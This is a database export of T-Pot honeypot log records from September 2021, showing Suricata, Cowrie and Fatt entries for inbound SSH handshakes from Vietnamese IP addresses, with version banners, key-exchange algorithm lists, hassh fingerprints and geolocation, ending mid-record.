22993	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:25.789834+03	2021-09-20 14:15:06.933508+03	{"_id": "1wbjAnwBvYTbRNuEpQrg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1000950373129911, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49398, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.789834Z", "@timestamp": "2021-09-20T11:07:25.789Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22994	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:25.883606+03	2021-09-20 14:15:06.934501+03	{"_id": "9QbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "de74adf82d07", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:25.883606Z", "@timestamp": "2021-09-20T11:07:25.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22995	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:25.985628+03	2021-09-20 14:15:06.9355+03	{"_id": "9gbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5ee0cbf99b22", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:25.985628Z", "@timestamp": "2021-09-20T11:07:25.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22996	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:25.372756+03	2021-09-20 14:15:06.9365+03	{"_id": "3QbjAnwBvYTbRNuEpwpT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44730, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.372756", "@timestamp": "2021-09-20T11:07:25.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22997	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:25.568197+03	2021-09-20 14:15:06.937501+03	{"_id": "3gbjAnwBvYTbRNuEpwpT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34634, "timestamp": "2021-09-20T11:07:25.568197", "@timestamp": "2021-09-20T11:07:25.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22998	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.6436+03	2021-09-20 14:15:06.9395+03	{"_id": "BwbjAnwBvYTbRNuEqws-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0ddc37f11e28", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:26.643600Z", "@timestamp": "2021-09-20T11:07:26.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22999	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:26.83219+03	2021-09-20 14:15:06.9405+03	{"_id": "CAbjAnwBvYTbRNuEqws-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a384d2f88b02", "@version": "1", "timestamp": "2021-09-20T11:07:26.832190Z", "@timestamp": "2021-09-20T11:07:26.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23000	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.890864+03	2021-09-20 14:15:06.94147+03	{"_id": "CQbjAnwBvYTbRNuEqws-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0ddc37f11e28", "@version": "1", "timestamp": "2021-09-20T11:07:26.890864Z", "@timestamp": "2021-09-20T11:07:26.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23001	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.25128+03	2021-09-20 14:15:06.943471+03	{"_id": "MgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42170 (192.168.176.2:22) [session: 926186f5e9fe]", "session": "926186f5e9fe", "@version": "1", "protocol": "ssh", "src_port": 42170, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.251280Z", "@timestamp": "2021-09-20T11:07:17.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23002	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:17.583243+03	2021-09-20 14:15:06.9445+03	{"_id": "NAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57842 (192.168.176.2:22) [session: 5ac5f1b830b0]", "session": "5ac5f1b830b0", "@version": "1", "protocol": "ssh", "src_port": 57842, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.583243Z", "@timestamp": "2021-09-20T11:07:17.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23003	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:17.256495+03	2021-09-20 14:15:06.94547+03	{"_id": "GAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42170, "timestamp": "2021-09-20T11:07:17.256495", "@timestamp": "2021-09-20T11:07:17.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23004	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:17.290476+03	2021-09-20 14:15:06.946471+03	{"_id": "OwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 